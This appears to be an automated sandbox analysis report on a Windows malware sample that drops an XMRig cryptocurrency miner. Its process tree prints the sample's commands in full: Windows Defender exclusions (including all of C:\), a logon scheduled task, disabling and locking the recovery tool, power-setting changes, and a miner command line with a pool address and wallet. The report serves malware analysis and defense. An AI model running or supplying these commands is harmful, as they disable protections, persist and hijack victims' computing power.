Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    11/05/2026, 11:13

General

  • Target
    2026-05-11_fe0e1f08a9caac3ecacfcec9b9581611_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 401KB
  • Sample260511-nbfeksgs8w
  • SHA256 16cf9faa2ef1c85dd2244ab533877cba0c15fc8c5d4db8ba573d56f329590cbe
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 3 IoCs
  • XMRig Miner payload 8 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Looks for VMWare Tools registry key 2 TTPs 3 IoCs
  • Possible privilege escalation attempt 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 7 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-11_fe0e1f08a9caac3ecacfcec9b9581611_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-11_fe0e1f08a9caac3ecacfcec9b9581611_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1580
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2396
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C reagentc /disable
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4420
      • C:\Windows\system32\ReAgentc.exe
        reagentc /disable
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        PID:4220
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3688
      • C:\Windows\system32\takeown.exe
        takeown /F "C:\Windows\System32\reagentc.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1212
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1988
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2760
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1744
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2372
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change monitor-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:4544
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change monitor-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2928
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:4308
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1540
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1236
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:5108
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /hibernate off
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:3956
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:3332
      • C:\Windows\system32\PING.EXE
        ping -n 1 -w 1000 8.8.8.8
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:4612
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
      2⤵
      • Badlisted process makes network request
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4632
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:1708
  • C:\Windows\System32\Win-v42.exe
    C:\Windows\System32\Win-v42.exe
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:2036

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 4KB
        • SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Win-v43.exe

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
        • Size 401KB
        • SHA256 2d06b764f01665c3a07a9f289b36531af18e7edc10fe938629411eb78f3bef39
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 b79f569e6c453b33139dcd90442a80e59ac882a1e272a8e4a322d295bfac3ab0
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 379725b221f4f46fd50b6cc7dfbe9b5ba0733f46d6f3d8b842803267790962a7
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_o5l34byl.aty.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o5l34byl.aty.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1580-65-0x000002C0446C0000-0x000002C0446D2000-memory.dmp

        memory/1580-64-0x000002C044260000-0x000002C04426C000-memory.dmp

        memory/2472-82-0x000001AA5BA80000-0x000001AA5BA8C000-memory.dmp

        memory/3452-32-0x0000027A1B960000-0x0000027A1B970000-memory.dmp

        memory/3452-33-0x0000027A1B960000-0x0000027A1B970000-memory.dmp

        memory/3452-49-0x0000027A33FA0000-0x0000027A33FB2000-memory.dmp

        memory/3452-48-0x0000027A1B880000-0x0000027A1B88C000-memory.dmp

        memory/4156-18-0x000001874F180000-0x000001874F233000-memory.dmp

        memory/4156-10-0x00007FF475E80000-0x00007FF475E90000-memory.dmp

        memory/4156-26-0x000001874EDA0000-0x000001874EDB0000-memory.dmp

        memory/4156-29-0x0000018734ED0000-0x0000018734EDC000-memory.dmp

        memory/4156-30-0x000001874ED80000-0x000001874ED92000-memory.dmp

        memory/4156-0-0x000001874EDA0000-0x000001874EDB0000-memory.dmp

        memory/4156-19-0x000001874EEC0000-0x000001874EECA000-memory.dmp

        memory/4156-24-0x000001874EF10000-0x000001874EF16000-memory.dmp

        memory/4156-21-0x000001874EED0000-0x000001874EEDA000-memory.dmp

        memory/4156-23-0x000001874EEE0000-0x000001874EEE8000-memory.dmp

        memory/4156-22-0x000001874EF30000-0x000001874EF4A000-memory.dmp

        memory/4156-20-0x000001874EEF0000-0x000001874EF0C000-memory.dmp

        memory/4156-17-0x000001874EEA0000-0x000001874EEBC000-memory.dmp

        memory/4156-25-0x000001874EF20000-0x000001874EF2A000-memory.dmp

        memory/4156-1-0x000001874EDA0000-0x000001874EDB0000-memory.dmp

        memory/4156-9-0x000001874EDA0000-0x000001874EDB0000-memory.dmp

        memory/4156-2-0x000001874EDE0000-0x000001874EE02000-memory.dmp

        memory/4632-95-0x000001EA9FB80000-0x000001EA9FBA0000-memory.dmp

        memory/4632-97-0x00007FF647130000-0x00007FF6479F3000-memory.dmp

        memory/4632-99-0x00007FF647130000-0x00007FF6479F3000-memory.dmp

        memory/4632-101-0x00007FF647130000-0x00007FF6479F3000-memory.dmp

        memory/4632-103-0x00007FF647130000-0x00007FF6479F3000-memory.dmp

        memory/4632-105-0x00007FF647130000-0x00007FF6479F3000-memory.dmp

        memory/4632-107-0x00007FF647130000-0x00007FF6479F3000-memory.dmp

        memory/4632-109-0x00007FF647130000-0x00007FF6479F3000-memory.dmp

        memory/4632-111-0x00007FF647130000-0x00007FF6479F3000-memory.dmp